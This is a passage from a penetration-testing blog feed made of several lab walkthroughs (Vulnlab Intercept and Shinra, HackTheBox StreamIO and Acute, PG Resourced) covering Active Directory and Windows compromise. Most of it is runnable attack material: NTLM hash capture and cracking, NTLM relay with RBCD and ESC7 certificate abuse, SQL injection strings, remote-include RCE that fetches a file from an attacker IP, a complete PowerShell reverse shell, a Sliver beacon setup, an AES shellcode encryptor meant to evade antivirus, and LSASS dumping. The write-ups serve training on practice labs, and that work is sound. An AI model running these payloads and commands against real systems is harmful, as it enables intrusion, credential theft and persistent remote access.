❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulndev

VL Intercept – Walkthrough

By: xct
1 July 2023 at 15:47

Intercept is a chain of vulnerable machines on Vulnlab and involves stealing hashes with lnk files, a RBCD-Workstation takeover, exploiting GenericALL on OUs & finally attacking ADCS using ESC7.

Port Scan:

sudo nmap -iL ips.txt -sV -sC -oA scan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-01 17:03 CEST
Nmap scan report for dc01.intercept.vl (10.10.158.69)
Host is up (0.024s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-07-09 14:02:25Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after:  2024-06-26T13:28:30
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after:  2024-06-26T13:28:30
|_ssl-date: TLS randomness does not represent time
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after:  2024-06-26T13:28:30
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intercept.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.intercept.vl
| Not valid before: 2023-06-27T13:28:30
|_Not valid after:  2024-06-26T13:28:30
|_ssl-date: TLS randomness does not represent time
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: INTERCEPT
|   NetBIOS_Domain_Name: INTERCEPT
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: intercept.vl
|   DNS_Computer_Name: DC01.intercept.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2023-07-09T14:03:05+00:00
| ssl-cert: Subject: commonName=DC01.intercept.vl
| Not valid before: 2023-06-27T13:12:41
|_Not valid after:  2023-12-27T13:12:41
|_ssl-date: 2023-07-09T14:03:44+00:00; -1s from scanner time.
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-07-09T14:03:07
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.28 seconds

Nmap scan report for ws01.intercept.vl (10.10.158.70)
Host is up (0.020s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WS01.intercept.vl
| Not valid before: 2023-06-27T13:11:58
|_Not valid after:  2023-12-27T13:11:58
| rdp-ntlm-info:
|   Target_Name: INTERCEPT
|   NetBIOS_Domain_Name: INTERCEPT
|   NetBIOS_Computer_Name: WS01
|   DNS_Domain_Name: intercept.vl
|   DNS_Computer_Name: WS01.intercept.vl
|   DNS_Tree_Name: intercept.vl
|   Product_Version: 10.0.19041
|_  System_Time: 2023-07-01T15:04:44+00:00
|_ssl-date: 2023-07-01T15:05:24+00:00; -1s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-07-01T15:04:51
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s

Post-scan script results:
| clock-skew:
|   -1s:
|     10.10.158.69 (dc01.intercept.vl)
|_    10.10.158.70 (ws01.intercept.vl)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

We see 2 machines, a Windows 10 workstation & a domain controller. Since there don’t seem to be any unusual services and we have no user yet, enumeration is somewhat limited but we still have some options here:

  • Bruteforce users using kerberos, e.g. via kerbrute
  • Asreproast from a list of known usernames
  • Check for missing SMB-Signing
  • Man-in-the-Middle Attacks
  • Anonymous shares

We are not going to do bruteforcing here or any MitM attacks – this leaves us with checking the signing configuration and looking for anonymous shares.

Checking Signing:

crackmapexec smb 10.10.158.69-70 --gen-relay-list relay.txt
SMB         10.10.158.70    445    WS01             [*] Windows 10.0 Build 19041 x64 (name:WS01) (domain:intercept.vl) (signing:False) (SMBv1:False)
SMB         10.10.158.69    445    DC01             [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:hybrid.vl) (signing:True) (SMBv1:False)

This is the default on windows domains – the DC has signing enforced but the workstation system hasn’t.

Checking Anonymous Shares:

smbclient -L \\\\dc01.intercept.vl
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------

smbclient -L \\\\ws01.intercept.vl
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	dev             Disk      shared developer workspace
	IPC$            IPC       Remote IPC
	Users           Disk

We can see that ws01 has a dev share & a users share while the domain controller has none we could access. Let’s check out the dev share:

echo 123 > test.txt
smbclient \\\\ws01.intercept.vl\\dev

Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jun 29 17:23:05 2023
  ..                                  D        0  Thu Jun 29 17:23:05 2023
  projects                            D        0  Thu Jun 29 13:57:25 2023
  readme.txt                          A      123  Thu Jun 29 13:44:59 2023
  tools  

smb: \> put test.txt
putting file test.txt as \test.txt (0.1 kb/s) (average 0.1 kb/s)

smb: \> get readme.txt
getting file \readme.txt of size 123 as readme.txt (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec)
smb: \> exit

cat readme.txt
Please check this share regularly for updates to the application (this is a temporary solution until we switch to gitlab).

This suggests that someone is updating something on this share and also encourages to check back regulary. We also confirmed that we can write here. If we can write a domain share, it’s possible to place a scf/lnk or other hash-grabbing payload that will coerce NTLM Authentication back to our machine! We can not relay this anywhere since the only other machine is the domain controller which has SMB signing enforced, but we can try to crack the NetNLTMv2 hash should a user visit the share.

To create the payload we use hashgrab and then upload the generated files after starting impacket’s smbserver.

python3 ~/tools/hashgrab/hashgrab.py 10.8.0.36 xct

impacket-smbserver share share -smb2support

smbclient \\\\ws01.intercept.vl\\dev
Try "help" to get a list of possible commands.
smb: \> put @xct.url
smb: \> put @xct.scf
smb: \> put xct.library-ms
smb: \> put desktop.ini

After a moment, we get a connect back from a user that has been browsing to the share:

[*] Incoming connection (10.10.158.70,55925)
[*] AUTHENTICATE_MESSAGE (INTERCEPT\Kathryn.Spencer,WS01)
[*] User WS01\Kathryn.Spencer authenticated successfully
[*] Kathryn.Spencer::INTERCEPT:aaaaaaaaaaaaaaaa:862dbe919ed1214474158885d08319b6:01010000000000008030155530acd90131448fefcebcbcd100000000010010007800570064004a0049004c0068006c00030010007800570064004a0049004c0068006c00020010007900620072007100730052006c006500040010007900620072007100730052006c006500070008008030155530acd90106000400020000000800300030000000000000000000000000200000b7d3e5eb02a71b9cb39e4fadbc9a8603d5745af9db951ae1e87e2bcdc649ea580a0010000000000000000000000000000000000009001c0063006900660073002f00310030002e0038002e0030002e00330036000000000000000000

Let’s try to crack the hash. We copy the line with username & hash and store it in a file on disk. Then we run hashcat:

hashcat -m 5600 hash ~/tools/SecLists/Passwords/Leaked-Databases/rockyou-75.txt

KATHRYN.SPENCER::INTERCEPT:aaaaaaaaaaaaaaaa:862dbe919ed1214474158885d08319b6:01010000000000008030155530acd90131448fefcebcbcd100000000010010007800570064004a0049004c0068006c00030010007800570064004a0049004c0068006c00020010007900620072007100730052006c006500040010007900620072007100730052006c006500070008008030155530acd90106000400020000000800300030000000000000000000000000200000b7d3e5eb02a71b9cb39e4fadbc9a8603d5745af9db951ae1e87e2bcdc649ea580a0010000000000000000000000000000000000009001c0063006900660073002f00310030002e0038002e0030002e00330036000000000000000000:Chocolate1

This worked and gives us our first domain credentials: kathryn.spencer:Chocolate1 . Having domain credentials opens up a whole new world of enumeration possibilities:

  • Gathering Bloodhound data
  • Gathering Certipy data
  • Check LDAP signing
  • Check Machine Account Quota
  • Check for kerberoastable accounts

# Bloodhound
bloodhound-python -c all --disable-pooling -w 1 -u kathryn.spencer -p 'Chocolate1' -d intercept.vl -dc dc01.intercept.vl -ns 10.10.158.69 --dns-tcp --zip --dns-timeout 120
INFO: Found AD domain: intercept.vl
...
INFO: Done in 00M 23S
INFO: Compressing output into 20230701183457_bloodhound.zip

# Certipy
/usr/local/bin/certipy find -u "kathryn.spencer" -p 'Chocolate1' -dc-ip 10.10.158.69  -dns-tcp -ns 10.10.158.69 -bloodhound
[*] Finding certificate templates
[*] Found 33 certificate templates
...
[*] Got CA configuration for 'intercept-DC01-CA'
[*] Saved BloodHound data to '20230701183614_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k

# LDAP Signing
crackmapexec ldap 10.10.158.69 -u kathryn.spencer -p Chocolate1 -M ldap-checker
SMB         10.10.158.69   445    DC01             [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:intercept.vl) (signing:True) (SMBv1:False)
LDAP        10.10.158.69   389    DC01             [+] intercept.vl\kathryn.spencer:Chocolate1
LDAP-CHE... 10.10.158.69   389    DC01             LDAP Signing NOT Enforced!
LDAP-CHE... 10.10.158.69   389    DC01             Channel Binding is set to "NEVER" - Time to PWN!

# Machine Account Quota
crackmapexec ldap dc01.intercept.vl -u kathryn.spencer -p 'Chocolate1' -M maq
SMB         dc01.intercept.vl 445    DC01             [*] Windows 10.0 Build 20348 x64 (name:DC01) (domain:intercept.vl) (signing:True) (SMBv1:False)
LDAP        dc01.intercept.vl 389    DC01             [+] intercept.vl\kathryn.spencer:Chocolate1
MAQ         dc01.intercept.vl 389    DC01             [*] Getting the MachineAccountQuota
MAQ         dc01.intercept.vl 389    DC01             MachineAccountQuota: 10

# Kerberoast
impacket-GetUserSPNs intercept.vl/kathryn.spencer:'Chocolate1' -dc-ip 10.10.158.69 -debug
No entries found!

After importing both certipy’s & bloodhound’s zips into the local Bloodhound database, we check for any suspicious configurations in the UI. This reveals that Simon Bowen is in the helpdesk group which has GenericAll permissions over the ca-managers OU. GenericAll will allow us to take control over the ca-managers group inside the OU and to add ourselves (e.g. Simon) to this group as well. But we don’t have any credentials for Simon yet. Looking at Kathryn’s permissions does not show anything interesting – so what can we do at this point?

We just have a low privileged domain user that has no permissions whatsoever anywhere which means we are limited to actions that *any* domain user is allowed to. Luckily this involves quite a lot of things. First of all we can add computer accounts to the domain because the quota is set to 10 (the default). On the other hand LDAP signing and channel binding is not enforced (also the default). This opens up a possibility for an attack on clients which is known as RBCD workstation takeover.

Roughly this works as follows: First, we coerce authentication from a workstation that is running the webclient service (if its not running it can be forced to start remotely). This will give us a machine account authentication from WS01$ to our machine. Sadly we can’t relay SMB authentication to the only other machine (the DC) because of enforced SMB-Signing. However we can coerce authentication against WebDAV instead. WebDAV uses HTTP, so the machine will use NTLM Authentication to authenticate. Since this is a web request, SMB-Signing is not relevant here and we are now indeed able to relay the authentication to the DC (to LDAP, since LDAP signing is not enforced). Using WebDAV coersion instead of SMB can be achieved by specifiying a port that’s not 445, e.g. \\attacker@8080.

There is however one caveat. We can not put an ip address – it will only authenticate against a target thats in the trusted zone so we would need to add a dns entry somehow. Luckily this is also something that’s allowed for any user in the domain by default!

So what does relaying this authentication to LDAP on the DC let us do? We will be in the context of WS01$ and that account is allowed to set any attribute on itself (since its the owner). This allows us to create the conditions for RBCD writing the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on WS01$ and with that allow a new machine account we create to impersonate any user on the machine.

Let’s execute the attack now:

# Add new dns entry that points to our attacker machine, set your local dns server to the dc ip in /etc/resolv.conf before running
python dnstool.py -u intercept.vl\\kathryn.spencer -p 'Chocolate1' -r xct.intercept.vl -d 10.8.0.36 --action add dc01.intercept.vl

# Add a new machine account
impacket-addcomputer -computer-name 'WS02$' -computer-pass 'Start123!' -dc-host dc01.intercept.vl -domain-netbios intercept  'INTERCEPT/Kathryn.Spencer:Chocolate1'

# Listener for relaying auth to LDAP on the DC in order to configure RBCD on WS01$ (it's allowed to write it's own attribute)
sudo impacket-ntlmrelayx -smb2support -t ldaps://dc01.intercept.vl --http-port 8080 --delegate-access --escalate-user WS02\$ --no-dump --no-acl --no-da

# Coerce Authentication from the workstation WS01$ using a non-default port so it's a WebDAV authentication
python3 PetitPotam.py -d intercept.vl -u 'Kathryn.Spencer' -p 'Chocolate1' xct@8080/a ws01.intercept.vl

# Impersonate Administrator on WS01 by using our RBCD privileges
impacket-getST -spn cifs/ws01.intercept.vl intercept.vl/WS02\$ -impersonate administrator
export KRB5CCNAME=$PWD/administrator.ccache
impacket-secretsdump -k -no-pass ws01.intercept.vl
...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:xxx:::
...
[*] _SC_HelpdeskService
[email protected]:xxx
...

The whole attack worked & we got to dump all credentials on WS01. We could also logon now and look around the machine but since we already identified a possible next step involving Simon Bowen (and we just got his creds) we will continue on this path.

In order to add ourselves to the ca-managers group I’m going to add simon as an administrator on WS01 and then use RDP to execute the attack. Adding a new users to the local administrators is not great opsec-wise so be careful ;)

impacket-smbexec -k -no-pass ws01.intercept.vl

C:\Windows\system32> net localgroup administrators simon.bowen /add

xfreerdp /v:ws01.intercept.vl /u:simon.bowen /p:'xxx' /w:1366 /h:768

Now that we are on the box we notice that MalwareBytes is running. Given that we are an administrator, we disable it in the UI. Now we can upload, import and use PowerView:

. .\PowerView.ps1
Get-DomainOU 'ca-managers' // note the UID and replace it below

$Guids = Get-DomainGUIDMap
$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name

$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'simon.bowen' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid

$OU = Get-DomainOU -Raw <UID from first step>
$dsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()

Add-DomainGroupMember -Identity "ca-managers" -Members simon.bowen -Verbose

This will give us ownership over the ca-managers group and then add ourselves (here Simon, since we know the credentials to this account – we could also have used Kathryn) to it.

To proceed, we check what ca-managers can actually do in the Bloodhound UI after importing certipys bloodhound data. If you click on ESC7 you will see an attack path available thats based on the fact that we are now a ca manager (as the group name suggests).

We can execute the attack as follows:

# Add simon.bowen as an officer, this allows to approve templates
/usr/local/bin/certipy ca -ca 'intercept-DC01-CA' -add-officer simon.bowen -username [email protected] -hashes :<REDACTED> -dc-ip 10.10.210.165 -dns-tcp -ns 10.10.210.165

# Enable the SubCA template, we will need it later on
/usr/local/bin/certipy ca -ca 'intercept-DC01-CA' -enable-template 'SubCA' -username [email protected] -hashes :<REDACTED> -dc-ip 10.10.210.165 -dns-tcp -ns 10.10.210.165

# Request a certificate from the SubCA template, this will fail but still save the private key
/usr/local/bin/certipy req -username [email protected] -hashes :<REDACTED> -ca 'intercept-DC01-CA' -target dc01.intercept.vl -template SubCA -upn [email protected] -dc-ip 10.10.210.165 -dns-tcp -ns 10.10.210.165

# It failed because it needs approval (the CA is set to manager approval mode). Now we approve it ourselves!
/usr/local/bin/certipy ca -username [email protected] -hashes :<REDACTED> -ca 'intercept-DC01-CA' -issue-request 3 -dc-ip 10.10.210.165 -dns-tcp -ns 10.10.210.165

# Now that it's issued, we can request it again
/usr/local/bin/certipy req -username [email protected] -hashes :<REDACTED> -ca 'intercept-DC01-CA' -target dc01.intercept.vl -retrieve 3 -dc-ip 10.10.210.165 -dns-tcp -ns 10.10.210.165

# Finally we can use the cert to authenticate, retrieve the NTLM hash & then connect to the DC as administrator
/usr/local/bin/certipy auth -pfx administrator.pfx -domain intercept.vl -username administrator -dc-ip 10.10.210.165
impacket-smbexec [email protected] -hashes :<REDACTED>

This is the end of this chain. Originally I wanted to introduce mitm6 and spoofing/poisoning but this is currently not possible on this particular lab infrastruture. If that would be the case, it wouldn’t be neccesary to have the lnk/scf files in the beginning and you could exploit it as follows without having *any* domain credentials:

mitm6 -hw WS01 -d intercept.vl --ignore-nofqdn -i eth0
impacket-ntlmrelayx -t ldaps://dc01.intercept.vl -wh attacker-wpad --delegate-access
...
[*] Attempting to create computer in: CN=Computers,DC=intercept,DC=vl
[*] Adding new computer with username: NHWOLPTB$ and password: wazhp!/Z_i>gi_P result: OK
[*] Delegation rights modified succesfully!
[*] NHWOLPTB$ can now impersonate users on WS01$ via S4U2Proxy

Resources

The post VL Intercept – Walkthrough appeared first on Vulndev.

VL Shinra Part 3 – Initial Payload Design, Host Enumeration & getting SYSTEM

By: xct
18 January 2023 at 17:06

This is the third video of the Shinra series. We will get a shell on Ashleighs machine & escalate privileges.

Topics

  • Phishing: Payload design & getting a shell
  • Sliver Basics
  • Host enumeration
  • Switching users with runas
  • Exploiting SeDebugPrivilege to get SYSTEM
  • Post Exploitation

Additional things to try on the lab:

  • See if you can run the domain enumeration steps on client01 in constrast to using your own machine, e.g. port-scanning, bloodhound, adcs, credential spraying etc.
  • Craft a payload using any other technique so it gets around the AV
  • Craft a payload using indirect syscalls or modify the existing one so it uses DLL Hijacking instead

Notes

Sliver

# generate a beacon
generate beacon --mtls 127.0.0.1:53 --os windows --arch amd64 --format shellcode --save xct.raw

# start listener
mtls --lport 53

# execute assembly (in-process, bypasss ETW)
execute-assembly -i -E /home/xct/drop/Rubeus.exe klist|triage|...

# nanodump via armory
ps (list lsass process id)
nanodump 680 core.dmp 1 PMDM

# interactive shell (you can omit the argument to get powershell)
shell --shell-path "c:\\windows\\system32\\cmd.exe"

Encrypt Shellcode with AES

from base64 import b64encode, b64decode
from binascii import unhexlify, hexlify
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import sys

if __name__ == "__main__":
	if len(sys.argv) < 3:
		print("Usage: ./shellcode_encrypt file key iv")
		exit(1)

	file_name = sys.argv[1]
	password = sys.argv[2].encode()
	iv = sys.argv[3].encode()

	data = []
	with open(file_name,"rb") as f:
		data = f.read()

	print(f"Key: {password}")
	print(f"IV: {iv}")	
	print(f"Data: {data[:16]}..")

	data = pad(data, AES.block_size)
	cipher = AES.new(password, AES.MODE_CBC, iv)
	cipher_text = cipher.encrypt(data)

	with open('xct.bin','wb') as f:
		f.write(cipher_text)

The post VL Shinra Part 3 – Initial Payload Design, Host Enumeration & getting SYSTEM appeared first on Vulndev.

VL Shinra Part 2 – Enumerate, Enumerate, Enumerate!

By: xct
10 January 2023 at 16:31

This is the second video of the Shinra series. Before setting foot onto any of the network’s internal machines, we are going to spend a bit of time enumerating various things from our machine.

Some ideas for further steps that are not shown in the video:

  • Spray β€œShinra2022” or variations of it against all users in the domain.
  • Place a hash grabbing payload (e.g. https://github.com/xct/hashgrab) inside the workspace share and see if you can find any hashes.

Notes

Tools

Tcpdump

tcpdump -i ens37 -s 0 -w - -U | tee output.pcap | tcpdump -r -

Credential spraying

crackmapexec smb 172.16.11.10 -u user.txt -p pass.txt --no-bruteforce --continue-on-success

Bloodhound

sudo sh -c 'proxychains python3 /home/xct/tools/dnschef/dnschef.py --fakeip 172.16.11.101 --fakedomains shinra-dev.vl -q'

proxychains bloodhound-python -c all --disable-pooling -w 1 -u "william.davis" -p 'password' -d shinra-dev.vl -dc dc.shinra-dev.vl -ns 127.0.0.1

Shares

crackmapexec smb 172.16.11.3-254 -u "william.davis" -p 'password' --shares

SMB Signing

crackmapexec smb 172.16.11.3-254 --gen-relay-list relay.txt

Machine Account Quota

crackmapexec ldap 172.16.11.101 -u "william.davis" -p 'password' -M maq

ADCS

crackmapexec ldap 172.16.11.101 -u "william.davis" -p 'password' -M adcs
crackmapexec ldap 172.16.11.101 -u "william.davis" -p 'password' -M adcs -o SERVER=shinra-dev-CA
certipy find -u "william.davis" -p 'password' -dc-ip 172.16.11.101 

The post VL Shinra Part 2 – Enumerate, Enumerate, Enumerate! appeared first on Vulndev.

SQLi, LFI to RCE and Unintended Privesc via XAMLX & Impersonation – StreamIO @ HackTheBox

By: xct
17 September 2022 at 14:24

Video & additional notes for StreamIO, a medium difficulty Windows machine on HackTheBox that involves manual MSSQL Injection, going from file inclusion to RCE and in this case getting the SeImpersonate privilege back to get SYSTEM via an EFS-based potato.

SQLi

q=admin' union select 1,2,3,4,5-- 
q=admin' union select 1,2,3,4,5,6-- 
q=admin' union select 1,@@version,3,4,5,6--  
q=admin' union select 1, STRING_AGG(name, ', '),3,4,5,6 from master..sysdatabases--
q=admin' union select 1, STRING_AGG(name, ', '),3,4,5,6 from  master..sysobjects WHERE xtype = 'U'--
q=admin' union select 1, STRING_AGG(CONCAT(table_name,'.',column_name), ', '),3,4,5,6 from  information_schema.columns--

RCE

# Content of "x", hosted on the attacker machine
system("powershell -exec bypass -enc JAB...");

# Request
curl -H 'Cookie: PHPSESSID=r3apd30esr2a8c1kt0vfnmd6qn' -sk -X POST -d 'include=http://10.10.14.9/x' https://streamio.htb/admin/?debug=master.php

XAMLX & Web.config to RCE

Web.config

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
 <system.webServer>
 <handlers accessPolicy="Read, Script, Write">
 <add name="xamlx" path="*.xamlx" verb="*" type="System.Xaml.Hosting.XamlHttpHandlerFactory, System.Xaml.Hosting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" />
 <add name="xamlx-Classic" path="*.xamlx" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
 </handlers>
 <validation validateIntegratedModeConfiguration="false" />
 </system.webServer>
</configuration>

Shell.xaml

<WorkflowService ConfigurationName="Service1" Name="Service1" xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" xmlns:p="http://schemas.microsoft.com/netfx/2009/xaml/activities" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" >
 <p:Sequence DisplayName="Sequential Service">
 <TransactedReceiveScope Request="{x:Reference __r0}">
 <p1:Sequence >
 <SendReply DisplayName="SendResponse" >
 <SendReply.Request>
 <Receive x:Name="__r0" CanCreateInstance="True" OperationName="SubmitPurchasingProposal" Action="testme" />
 </SendReply.Request>
 <SendMessageContent>
 <p1:InArgument x:TypeArguments="x:String">[System.Diagnostics.Process.Start("cmd.exe", "/c powershell -exec bypass -enc JAB...").toString()]</p1:InArgument>
 </SendMessageContent>
 </SendReply>
 </p1:Sequence>
 </TransactedReceiveScope>
 </p:Sequence>
</WorkflowService>

Trigger

POST /test.xamlx HTTP/1.1
Host: 10.10.11.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
SOAPAction: testme
Content-Length: 88

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body/></s:Envelope>

Resources

The post SQLi, LFI to RCE and Unintended Privesc via XAMLX & Impersonation – StreamIO @ HackTheBox appeared first on Vulndev.

Resource-Based Constrained Delegation – Resourced @ PG-Practice

By: xct
27 August 2022 at 15:30

Video & additional notes for Resourced, an intermediate difficulty Windows machine on PG-Practice that involves password spraying and an RBCD attack.

RBCD via WinRM & StandIn

# Upload
upload /home/xct/drop/StandIn_v13_Net45.exe StandIn.exe
upload /home/xct/drop/Rubeus.exe Rubeus.exe

# Create machine account
.\StandIn.exe --computer xct --make
Get-ADComputer -Filter * | Select-Object Name, SID

# Write msDS-AllowedToActOnBehalfOfOtherIdentity
.\StandIn.exe --computer ResourceDC --sid S-1-5-21-537427935-490066102-1511301751-4101

# Get Hash (on Kali)
import hashlib,binascii
hash = hashlib.new('md4', "<new machine password from last step>".encode('utf-16le')).digest()
print(binascii.hexlify(hash))

# Impersonate Administrator
.\Rubeus.exe s4u /user:xct /rc4:44714c0e1624e71ac5540fd3aa9c6681 /impersonateuser:administrator /msdsspn:cifs/resourcedc.resourced.local /nowrap /ptt

# Convert Ticket & PSExec with Kerberos (on Kali)
cat ticket.b64 | base64 -d > ticket.kirbi
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=`pwd`/ticket.ccache
klist
impacket-psexec -k -no-pass resourced.local/[email protected] -dc-ip 192.168.114.175

Resources

The post Resource-Based Constrained Delegation – Resourced @ PG-Practice appeared first on Vulndev.

Active Directory, JEA & Random Stuff – Acute @ HackTheBox

By: xct
16 July 2022 at 15:00

Acute is a 40-point Active Directory Windows machine on HackTheBox. I’m going to use it to show some techniques which can be useful in other scenarios and keep it short on the things that are not that important.

User

Foothold

We visit https://atsserver.acute.local and find a company page. On the about page there is a list of usernames: Aileen Wallace, Charlotte Hall, Evan Davies, Ieuan Monks, Joshua Morgan, and Lois Hopkins. There is also a .docx file linked on the page which we download & read. This has a link to https://atsserver.acute.local/Acute_Staff_Access and mentions a default password β€œPassword1!”. On /Acute_Staff_Access we have a powershell remoting web console. At this point we have to come up with a username scheme the company might use and spray the password against all of the potential usernames.

This will eventually lead to a valid login: Username: β€œacute\edavies”, Password: β€œPassword1!”, Computername: β€œAcute-PC01”. Now we have a WinRM shell on the Acute-PC01 and can continue to explore it. Because I don’t like this web shell we are upgrading it to a remote interactive shell:

PS C:\Users\edavies\Documents> iex(iwr http://10.10.14.7/run.txt -usebasicparsing)
...
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.145] 49835
[>] whoami
acute\edavies

Contents of run.txt:

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.7",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "[>] ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

By looking at the running processes, we can see a lot of session 1 processes, including Edge, which means that besides us, the user edavies is also logged on locally on the system. We can also confirm this via qwinsta:

[>] ps
...
908      43    22492      66556       4.75   1544   1 msedge
309      18    97720      23976       0.41   3732   1 msedge
205      14     6832      16952       0.25   4108   1 msedge
245      15     8476      24576       0.56   4932   1 msedge
135       9     1924       6552       0.03   5048   1 msedge
...
[>] qwinsta

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 console           edavies                   1  Active

Session 0 Isolation says Hello

As we are connected via PSRemoting/WinRM we are running in session 0 and as such we can not interact with the logged in users desktop (Sessions in Windows). This comes with many restrictions and we can not really get an idea what the user is doing on his desktop. We run a reverse shell via rcat and confirm that our shell is in session 0:

[>] iwr http://10.10.14.7/drop/rcat.exe -outfile
[>] C:\windows\temp\rcat_10.10.14.7_1337.exe 
...
nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.145] 49880
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\temp> ps | findstr rcat
257       6      844       3544       0.00   5376   0 rcat_10.10.14.7_1337

One way to get out of session 0 is to inject into a process with a higher session id. This is only possible if we have either SeDebugPrivilege or the other process belongs to the same user (which is the case here). In the past you could inject shellcode and run it, but at this point all windows binaries are compiled with Control Flow Guard (CFG) so doing an indirect jump to shellcode is not allowed. To get around that, we will have to use a function that is already loaded and whitelisted. A common way to achive that, is to inject a DLL with LoadLibrary because this one is usually loaded & therefore will not cause any issues with CFG. It also has exactly one argument which is all we have when we want to use CreateRemoteThread to run code in a remote process.

In this case I decided to come up with a custom way that does not involve loading a DLL. If we look at the imports of explorer.exe we can see that it imports ShellExecuteExW from user32.dll:

BOOL ShellExecuteExW(
  [in, out] SHELLEXECUTEINFOW *pExecInfo
);

